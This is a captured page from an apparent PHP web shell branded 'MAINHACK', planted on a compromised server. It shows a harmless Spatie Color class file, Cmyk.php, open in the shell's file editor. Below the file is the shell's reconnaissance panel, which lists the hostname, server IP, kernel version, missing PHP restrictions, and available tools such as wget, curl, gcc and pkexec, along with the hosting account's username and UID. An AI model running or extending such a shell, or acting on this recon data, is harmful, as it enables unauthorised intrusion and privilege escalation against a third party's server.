[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Cmyk.php
<?php namespace Spatie\Color; class Cmyk implements Color { /** @var float */ protected $cyan; protected $magenta; protected $yellow; protected $key; public function __construct(float $cyan, float $magenta, float $yellow, float $key) { Validate::cmykValue($cyan, 'cyan'); Validate::cmykValue($magenta, 'magenta'); Validate::cmykValue($yellow, 'yellow'); Validate::cmykValue($key, 'key (black)'); $this->cyan = $cyan; $this->magenta = $magenta; $this->yellow = $yellow; $this->key = $key; } public static function fromString(string $string) { Validate::cmykColorString($string); $matches = null; preg_match('/cmyk\( *(\d{1,3})%? *, *(\d{1,3})%? *, *(\d{1,3})%? *, *(\d{1,3})%? *\)/i', $string, $matches); return new static($matches[1] / 100, $matches[2] / 100, $matches[3] / 100, $matches[4] / 100); } public function red(): int { return Convert::cmykValueToRgb($this->cyan, $this->magenta, $this->yellow, $this->key)[0]; } public function green(): int { return Convert::cmykValueToRgb($this->cyan, $this->magenta, $this->yellow, $this->key)[1]; } public function blue(): int { return Convert::cmykValueToRgb($this->cyan, $this->magenta, $this->yellow, $this->key)[2]; } public function cyan(): float { return $this->cyan; } public function magenta(): float { return $this->magenta; } public function yellow(): float { return $this->yellow; } public function key(): float { return $this->key; } public function black(): float { return $this->key; } public function toCmyk(): Cmyk { return new self($this->cyan, $this->magenta, $this->yellow, $this->key); } public function toCIELab(): CIELab { return $this->toRgb()->toCIELab(); } public function toHex(?string $alpha = null): Hex { return $this->toRgb()->toHex($alpha ?? 'ff'); } public function toHsb(): Hsb { return $this->toRgb()->toHsb(); } public function toHsl(): Hsl { return $this->toRgb()->toHsl(); } public function toHsla(?float $alpha = null): Hsla { return $this->toRgb()->toHsla($alpha ?? 1); } public function toRgb(): Rgb { list($red, $green, $blue) = Convert::cmykValueToRgb($this->cyan, $this->magenta, $this->yellow, $this->key); return new Rgb($red, $green, $blue); } public function toRgba(?float $alpha = null): Rgba { return $this->toRgb()->toRgba($alpha ?? 1); } public function toXyz(): Xyz { return $this->toRgba()->toXyz(); } public function __toString(): string { $cyan = round($this->cyan * 100); $magenta = round($this->magenta * 100); $yellow = round($this->yellow * 100); $key = round($this->key * 100); return "cmyk({$cyan}%,{$magenta}%,{$yellow}%,{$key}%)"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002